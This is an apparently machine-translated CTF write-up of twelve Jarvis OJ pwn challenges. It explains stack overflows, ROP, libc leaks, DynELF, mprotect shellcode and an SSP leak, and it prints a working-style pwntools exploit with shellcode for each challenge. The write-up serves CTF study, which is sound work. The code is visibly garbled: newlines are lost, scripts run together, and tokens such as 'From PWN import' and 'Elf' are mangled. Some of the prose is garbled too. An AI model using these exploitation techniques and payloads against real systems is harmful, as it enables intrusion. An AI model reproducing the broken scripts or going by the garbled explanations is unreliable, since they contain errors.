Jarvis OJ Pwn writeup

Source: Internet
Author: User
Tags key string hex code

Jarvis OJ Pwn writeup
1, [Xman]level0
2, [Xman]level1
3, [Xman]level2 (Simple 64-bit stack overflow)
4, [Xman]level2 (x64)
5, [Xman]level3 (32-bit two-time overflow with Shell)
6, [Xman]level3_x64 (basic 64-bit stack overflow, simple ROP)
7, [Xman]level4 (Dynelf leaked system address)
8, [Xman]level5 (Mprotect function)
9. Test Your Memory (simple stack Overflow, overwrite return address)
10. Smashes (SSP (Stack smashing Protector) leak)
11, Tell Me Something (simple stack Overflow, overwrite return address)
12. Guess (array subscript overflow)

Jarvis OJ Pwn writeup

Start to brush Jarvis OJ PWN Question ~

1, [Xman]level0

The most basic problem is that the read function has a stack overflow, is populated with 0x80 bytes, the RBP has 8 bytes, and then 0000000000400684 executes the shell with system ("/bin/sh"), so write Exp:

# -*- coding:utf-8 -*-from pwn import *sh = remote("pwn2.jarvisoj.com",9881) # 与服务器交互# 填充junk = ‘a‘*0x80# 淹没bpfakebp = ‘a‘*8syscall = 0x0000000000400596payload = junk + fakebp + p64(syscall) # p64对整数进行打包sh.send(payload)sh.interactive() # 直接反弹shell进行交互

Beginner, so say some pwntools usage, while doing while learning it, this time mainly involved in these several functions:

remote:主要用作远程和服务器交互,返回一个类似连接对象send:发送数据,通过连接对象调用interactive:反弹shellp64:将数字转为字符串(p64/u64   p32/u32)

Then get SHELL,CAT flag:

2, [Xman]level1

This is similar to the previous question, but also a simple stack overflow, but you need to write your own shellcode to execute the shell, so the only question to consider is how to determine the address of shellcode. We have chosen to place the shellcode behind the return address, which can be computed by BUF's address. Give Exp:

from pwn import *# sh = process(‘./level1‘)  # localsh = remote(‘pwn2.jarvisoj.com‘, 9877)  # remotesh.recvuntil(‘:‘)address = sh.recvuntil(‘?‘, drop=True)address = int(address, 16)print addressjunk = ‘a‘ * 0x88fakeebp = ‘aaaa‘retaddr = address + 0x88 + 4 + 4shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f"     "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0"     "\x0b\xcd\x80\n"payload = junk + fakeebp + p32(retaddr) + shellcodesh.send(payload)sh.interactive()

After getting the shell, Cat flag

Just started to learn pwntools, or more talk about pwntools usage, this time involved in the following functions:

recvuntil(delims, drop=True):一直读到delims的pattern出现为止,drop=True表示是否丢弃pattern

Once again, summarize the functions of a common read-write send module:

interactive() : 直接进行交互,相当于回到shell的模式,在取得shell之后使用recv(numb=4096, timeout=default) : 接收指定字节recvall() : 一直接收直到EOFrecvline(keepends=True) : 接收一行,keepends为是否保留行尾的\nrecvuntil(delims, drop=False) : 一直读到delims的pattern出现为止,drop=True表示是否丢弃patternrecvrepeat(timeout=default) : 持续接受直到EOF或timeoutsend(data) : 发送数据sendline(data) : 发送一行数据,相当于在数据末尾加\n
3, [Xman]level2 (Simple 64-bit stack overflow)


The overflow point in the Read function, and then the search string found in. Data already has/bin/sh, so it can be called directly from the system function.
Give the payload:

# -*- coding:utf-8 -*-from pwn import *# sh = process(‘./level2‘)  # localsh = remote(‘pwn2.jarvisoj.com‘, 9878)  # remote# print addressjunk = ‘a‘ * 0x88 fakebp = ‘a‘*4sh_address = 0x0804A024  # /bin/shsys_address = 0x08048320# payload = junk + fakebp + p32(sys_address)+‘aaaa‘+p32(sh_address)sh.send(payload)sh.interactive()
4, [Xman]level2 (x64)

This is similar to the previous question, but because it is a 64-bit program, the method of transmitting the parameter differs from 32 bits:

From the first to the sixth one is saved in RDI,RSI,RDX,RCX,R8,R9. Starting with the 7th parameter, all subsequent parameters are passed through the stack

So the key to this question is how to pass/bin/sh's address to RDI?
Here is an operation, which is found in memory pop rdi , is overwritten with the return address, and then the next one of the stack is set to the address of/bin/sh, so that after the pop rdi is executed, the/bin/sh is placed in RDI. Then execute system, and there are two ways to get the system function: 1. Locate the address directly in memory. 2, through the ELF module loading program, in the PLT to find the system function

Give Exp:

# -*- coding:utf-8 -*-from pwn import *# sh = process(‘./level2_x64‘)sh = remote(‘pwn2.jarvisoj.com‘,9882) junk = ‘a‘*0x80fakebp = ‘a‘*8sh_address = 0x0000000000600A90  # /bin/sh# sys_address = 0x00000000004004C0level2_x64 = ELF(‘./level2_x64‘)sys_address = level2_x64.plt[‘system‘]print(sys_address)# payloadrdiret = 0x00000000004006b3  payload = junk + fakebp +p64(rdiret)+p64(sh_address)+p64(sys_address)sh.send(payload)sh.interactive()
5, [Xman]level3 (32-bit two-time overflow with Shell)

This problem is a typical topic: NC pwn2.jarvisoj.com 9879
First look at Ida, which is the function of the problem:

Obvious stack overflow, and no system call function was found in the program, nor/bin/sh string, but the libc-2.19.so dynamic link file was also given. Using IDA to view the file, you can learn the offsets of functions such as Writeup,read,system in the. so file, or you can get the offset of the/bin/sh string.
Suppose that a function A is at the address of the process memory space funA_address , the address in libc is, and funA_addr function B assumes the same.
Then there is an equation that holds:

funA_address - funA_addr = funB_address - funB_addr

In the topic, what we want to know is that the system calls the function systems and the key string/bin/sh the address of the memory space.
So there is this equation established:

write_address - write_addr = system_address - system_addr = bin_address - bin_addr

So, the question becomes how do I get the address of the write function in memory space? You can print the entry of the write function in the got table by calling the Write function itself, which is the address of its memory space. So the stack can be arranged like this:

But now there is a problem, Linux in the default to open ASLR, after each connection, the leaked write address on the next connection is changed, so the attack needs to be completed in a connection load. So consider two overflow, the return address is arranged as vulnerable_function the address of the function, after executing the Write function, the EIP points to this function to execute again, send payload again, execute the system call to get the shell. So after changing the stack to be arranged like this:

This will allow you to write Exp:

# -*- coding:utf-8 -*- from pwn import *# sh = process(‘./level3‘) # local# e = ELF(‘/lib/i386-linux-gnu/libc.so.6‘)# context.log_level = ‘debug‘  # ?sh =  remote(‘pwn2.jarvisoj.com‘, 9879) e = ELF(‘libc-2.19.so‘)# offset readoffset = e.symbols[‘read‘]writeoffset = e.symbols[‘write‘]systemoffset = e.symbols[‘system‘]binoffset = 0x0016084C# plt readplt = 0x08048310writeplt = 0x08048340# got readgot = 0x0804A00Cwritegot = 0x0804A018# leak the run address of writejunk = ‘a‘*0x88 fakebp = ‘a‘*4vulfun = 0x0804844Bpayload = junk + fakebp  + p32(writeplt) + p32(vulfun) + p32(1)+p32(writegot)+p32(4)sh.recvuntil(‘Input:\n‘)sh.send(payload)writeaddr = u32(sh.recv(4)) # the ture addr of write functionsystemaddr = writeaddr - writeoffset + systemoffsetbinaddr = writeaddr - writeoffset + binoffsetpayload2 = junk + fakebp + p32(systemaddr)+‘a‘*4 +p32(binaddr)sh.send(payload2)sh.interactive()

Cat flag:

6, [Xman]level3_x64 (basic 64-bit stack overflow, simple ROP)

This question is similar to the above question, the parameters use 64-bit way, the parameter Hu from left to right respectively placed in RDI, RSI, RDX, RCX, R8, R9. When the parameter is more than 7, the first 6 is the same as the previous one, but the latter is placed in the stack from right to left in turn. The
gives Exp:

From PWN import *# sh = Process ('./level3_x64 ') # local# e = ELF ('/lib/x86_64-linux-gnu/libc.so.6 ') # context.log_level = ' Debug ' sh = remote (' pwn2.jarvisoj.com ', 9883) # remotee = Elf (' libc-2.19.so ') # remotelevel3 = Elf ('./level3_x64 ') # offs ET readoffset = e.symbols[' read ']writeoffset = e.symbols[' write ']systemoffset = e.symbols[' System ']binoffset = 0x000000000017c8c3# plt readplt = level3.plt[' read ']writeplt = level3.plt[' Write ']# got readgot = level3.got[' read ']  Writegot = level3.got[' write ']# ret address rdiret = 0x00000000004006b3 # pop Rdirsiret = 0x00000000004006b1 # pop RSI # Leak the run address of writejunk = ' a ' *0X80FAKEBP = ' a ' *8vulfun = 0x00000000004005e6payload1 = "" Payload2 = "" # payload = junk + FAKEBP + P32 (WRITEPLT) + P32 (vulfun) + P32 (1) +p32 (writegot) +P32 (4) payload1+=junk+fakebppayload1+=p64 (Rdiret) + P64 (1) # The first argupayload1+=p64 (Rsiret) +p64 (writegot) # SECONDPAYLOAD1+=P64 (111) # THHIRDPAYLOAD1+=P64 (WRITEPLT) PAYLOAD1+=P64 (Vulfun) sh.recvuntil (' input:\n ') # GDB.attach (SH) sh.send (payload1) time.sleep (0.2) writeaddr=u64 (SH.RECV (8)) # Print (Hex (writeaddr)) binaddr = writeaddr- Writeoffset + binoffsetsystemaddr = writeaddr-writeoffset + systemoffsettime.sleep (0.2) # payload2payload2+=junk+ FAKEBPPAYLOAD2+=P64 (Rdiret) +p64 (binaddr) payload2+=p64 (systemaddr) sh.recvuntil (' input:\n ') sh.send (payload2) Sh.interactive ()

The local test did not pass, the remote opened, and the estimated and the. so file was mistaken.

7, [Xman]level4 (Dynelf leaked system address)

This problem is not libc, can use Pwntools dynelf leaked out, this article speaks very good: http://bobao.360.cn/learning/detail/3298.html
That's simple, the idea is to leak out the system through the Dynelf module, and then write the parameter/bin/sh to the BSS segment. Due to the limitations of the ASLR, so to achieve in a connection multiple overflow, to find a three times pop, a ret gadgets, through the ropgadget can be found:

Address 0x08048509 is more appropriate.
Then give Exp:

from PWN import * # sh = Process ("./level4") sh = remote ("pwn2.jarvisoj.com", 9880) elf = Elf ("./level4") # PLT READ_PLT = Elf . plt[' read ']write_plt = elf.plt[' Write ']# gotread_got = elf.got[' read ']write_got = elf.got[' Write ']# some addrss vulfun_       Addr = elf.symbols[' main ']pop3ret = 0x08048509 # leak the address of systemjunk = ' a ' *0X88FAKEBP = ' a ' *4def leak (address): Payload = junk + FAKEBP payload + P32 (WRITE_PLT) + P32 (pop3ret) payload + = P32 (1) + P32 (address) + P32 (4) + P (VULFUN_ADDR) sh.send (payload) data = SH.RECV (4) print "% #x%s"% (address, data) return Datad = Dynelf (leak , Elf=elf ('./level4 ')) system_addr = D.lookup (' System ', ' libc ') print "system address:" + Hex (system_addr) # Read Bssbss_ addr = Elf.bss () payload1 = junk + Fakebppayload1 + P32 (READ_PLT) + P32 (pop3ret) Payload1 + = P32 (0) + P32 (bss_addr) + P32 (8 ) Payload1 + = P32 (system_addr) + P32 (vulfun_addr) + P32 (bss_addr) # send Paylaod and/bin/shsh.send (payload1) sh.send ('/bin /sh\0 ') sh.interactive ()
8, [Xman]level5 (Mprotect function)

This problem is still using the system function, which will be used shellcode. But Checksec found that NX is open, and there are two ways to bypass it:
· Use Nmap to open a space that can be executed, put the shellcode in the execution
· Using Mprotect, say a space set to rwx, put Shellcode in to execute

The second method is used here (because this method is used for online Dalao,,,)
The concrete idea is this:
1, through the libc and write function leaked out the write function in memory address, calculate the Mprotect function address
2, hijack got table, covering some table entry address, through the Read function can enter these addresses, the Mprotect function address, BSS section address to write to got table, in order to next can be called directly by the call command
3. Use the function __libc_csu_init call through gadgets at the end of the function, execute Mprotect set to portability, then execute shellcode get permission
This is specific exp, I am based on the idea of online God and then write it again:

from PWN Import *context.log_level = ' Debug ' context.terminal = [' Terminator ', '-X ', ' Bash ', '-c ']context.arch = ' amd64 ' # sh = Process ("./level5") sh = remote ("pwn2.jarvisoj.com", 9884) elf = Elf ("./level5") libc = Elf ("libc-2.19.so") # libc = Elf ('/ Lib/x86_64-linux-gnu/libc.so.6 ') # plt READ_PLT = elf.plt[' read ']write_plt = elf.plt[' Write ']# got read_got = elf.got[' Read ']write_got = elf.got[' write ']libc_main_got = elf.got[' __libc_start_main ']gmon_got = elf.got[' __gmon_start__ ']# Offset System_offset = libc.symbols[' System ']read_offset = libc.symbols[' read ']write_offset = libc.symbols[' Write '] Mprotect_offset = libc.symbols[' mprotect ']# leak the address of write junk = ' a ' *0X80FAKEBP = ' a ' *8main_addr = Elf.symbols [' main ']pop_rdi_ret = 0x00000000004006b3 # pop Rdipop_rsi_r15_ret = 0x00000000004006b1 # pop rsi sh.recv () Payload1 = June K + Fakebppayload1 + = P64 (Pop_rsi_r15_ret) + p64 (write_got) +p64 (0) Payload1 + = P64 (Pop_rdi_ret) + p64 (1) Payload1 + = P64 (WRI TE_PLT) # Leak the address of Writepayload1 += P64 (Pop_rsi_r15_ret) + p64 (libc_main_got) +p64 (0) Payload1 + = P64 (Pop_rdi_ret) + p64 (0) Payload1 + = P64 (READ_PLT) # Read MP Rotect to __libc_start_mainpayload1 + p64 (pop_rsi_r15_ret) + P64 (ELF.BSS ()) +p64 (0) Payload1 + = P64 (read_plt) # Read Shellcode to Bsspayload1 + p64 (pop_rsi_r15_ret) + p64 (gmon_got) +p64 (0) Payload1 + = P64 (READ_PLT) # Read BSS addr to __gmon_ Start__payload1 + = P64 (main_addr) # Send Payload1 and get the Addrss of Writeprint "************* send paylaod1 *********** **\n "# ss = Raw_input () sh.send (payload1) write_addr = U64 (Sh.recv () [: 8]) print" write_address: "+ Hex (write_addr) # calc T He the address of mprotectmprotect_addr = Write_addr-write_offset + mprotect_offsetsh.send (p64 (MPROTECT_ADDR)) Shellcode = ASM (shellcraft.amd64.sh ()) sh.send (shellcode) sh.send (P64 (ELF.BSS ())) # SH.RECV () sh.recvuntil ("input:\n" # Use Mprotect and Shellcode def p (n): Return P64 (n) pay = pay = ' a ' *0x80 + ' bbbbbbbb ' #buffer paddingpay + = P (0x0000000 0004006A6) #loc_4006A6pay + = ' bbbbbbbb ' #paddingpay+ = P (0) #rbxpay + = P (1) #rbppay + = P (elf.got[' __libc_start_main ') #r12->addr >> call Mprotect to set 0x600000 (rw-p ) to RWXP so shellcode can be executepay + = P (7) #r13->rdxpay + = P (0x1000) #r14->rsipay + = P (0x00600000) #r15->edipa Y + = P (0x0000000000400690) #loc_400690 #call second Functionpay + = ' bbbbbbbb ' #paddingpay + = P (0) #rbxpay + = P (1) #rbppay + = P ( elf.got[' __gmon_start__ ') #r12->addr >> call P_shellcodepay + = P (0) #r13->rdxpay + = P (0) #r14->rsipay + = P (0) #r15->edipay + = P (0x0000000000400690) #loc_400690sh. Send (Pay) sh.interactive ()

This exp is a bit unstable, local get through, remote seems unstable

9. Test Your Memory (simple stack Overflow, overwrite return address)

is simple stack overflow, no canary protection, there is NX, can not be used shellcode, but there are system functions in the program, as well as the cat flag parameter, it is simple, stack overflow execution system call, give Exp:

from pwn import *context.log_level = ‘debug‘context.terminal = [‘terminator‘,‘-x‘,‘bash‘,‘-c‘]# sh = process("./memory")sh = remote("pwn2.jarvisoj.com",9876)elf =ELF("./memory") win_func_got = elf.symbols[‘win_func‘]catFlag_addr = 0x080487E0f = 0x080486E0junk = ‘a‘*0x13fakebp = ‘a‘*4payload = junk + fakebppayload += p32(win_func_got) + p32(catFlag_addr) + p32(catFlag_addr)f0 = sh.recvuntil("> ")sh.sendline(payload)f1 = sh.recv(200)f2 = sh.recv()# print(u32(flag))print "f0:   " + f0print "f1:   " + f1print "f2:   " + f2
10. Smashes (SSP (Stack smashing Protector) leak)

First look at the protection of the topic:

There is NX, there is Canary, this is more troublesome, direct overflow will not work, and it seems that there is no way to get Canary value. Read someone else's blog, learned SSP(Stack Smashing Protector ) leak , is the initiative to trigger the stack protection, until covered to arg[0] value, to achieve any memory read, practice a bit, can be achieved, the principle of this picture is very clear:

But when the flag is output, there is no output, because of this sentence:

At the time of reading, flag has been emptied, this involves another knowledge, when the Elf file is relatively small, his different sections may be mapped multiple times, that is, flag may have a backup, through the GDB plugin Peda find:

OK, Address 0X400D20 is a backup, give Exp:

from pwn import *# context.log_level = ‘debug‘sh = remote(‘pwn.jarvisoj.com‘, 9877)# sh = process(‘smashes‘)flag_addr = 0x400d20payload = p64(flag_addr)*200sh.recvuntil("name?")sh.sendline(payload)sh.recv()sh.sendline("1")print sh.recv()

11, Tell Me Something (simple stack Overflow, overwrite return address)

Simple stack Overflow, return address of Good_game, no NX, no canary,exp as follows:

from pwn import *# sh = process("./guestbook")sh = remote("pwn.jarvisoj.com",9876)elf = ELF("guestbook")payload = ‘\x00‘*136 + p64(0x0000000000400620) sh.recvuntil("message:\n")sh.sendline(payload)print sh.recv()# sh.recv()


Questions:为什么exp有时候可以返回flag,有时候没有呢?

12. Guess (array subscript overflow)

First look at Ida, the main function logic is through the socket bound port, nothing. Important logic in the handle function, by entering the hex code after the flag value, and the program in the hard-coded flag to match, if the comparison failure error.
This is the handle function:

Would have thought it was fgets function caused overflow, after the query learned that fgets会指定大小,如果超出数组大小,会自动根据定义数组的长度截断 . There is no buffer overflow, but there is an issue with subscript overflow, see is_flag_correct function This paragraph:

Then look at the layout relationship of flag and Bin_by_hex in the stack:

Flag is 0x40 offset above bin_by_hex, so we can read the flag value if we construct bin_by_hex with a negative index value.
Again, the Bin_by_hex array is indexed by the Flag_hex array value, and the Flag_hex is a char array. That is, when the index value of Flag_hex after 128, press the shaping output will become negative, we can try to see this program:

#include <iostream>#include <stdio.h>#include <string.h>#include <stdlib.h>using namespace std;int main(){    char flag_hex[256];    int i;    for (i=1;i<=255;i++)    {        flag_hex[i] = i;    }    printf("%d",flag_hex[0x40+128]);}

The input is -64 so that you can construct Flag_hex 2nd I and 2i+1 bits for ' 0 ' and Chr (0x40 + + i), then value1 = 0,value2 = Flag[i].
So we write such exp;

# -*- coding: utf-8 -*-from pwn import *#context.log_level = ‘debug‘context.terminal = [‘terminator‘,‘-x‘,‘bash‘,‘-c‘]def e(n):    return b.encode(‘hex‘)rr=1if rr:    cn = remote(‘pwn.jarvisoj.com‘, 9878)else:    cn = remote(‘127.0.0.1‘,9999)bin = ELF(‘./guess‘)cn.recv()raw_pay = ""for i in range(50):    raw_pay += ‘0‘    raw_pay += chr(0x40+128+i)cn.sendline(raw_pay)print cn.recv()

The comparison succeeds, but the flag value cannot be output:

So can a one of the demolition, combined with the online other people's exp, oneself also wrote a copy:

# -*- coding: utf-8 -*-from pwn import *#context.log_level = ‘debug‘context.terminal = [‘terminator‘,‘-x‘,‘bash‘,‘-c‘]def e(n):  return b.encode(‘hex‘)rr=1if rr:  cn = remote(‘pwn.jarvisoj.com‘, 9878)else:  cn = remote(‘127.0.0.1‘,9999)bin = ELF(‘./guess‘)cn.recv()raw_pay = ""for i in range(50):  raw_pay += ‘0‘  raw_pay += chr(0x40+128+i)flag=""for i in range(50):  for j in range(128):    if chr(j).isalnum() or chr(j)=="{" or chr(j)=="}":        payload = list(raw_pay)        # 构造每一位需要爆破的值        payload[2*i] = chr(j).encode("hex")[0]        payload[2*i+1] = chr(j).encode("hex")[1]        payload = "".join(payload)        cn.sendline(payload)        re = cn.recvline()        if "Yaaaay" in re:            print chr(j)            flag+=chr(j)            break  print flag

Jarvis OJ Pwn writeup

Related Keywords:

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.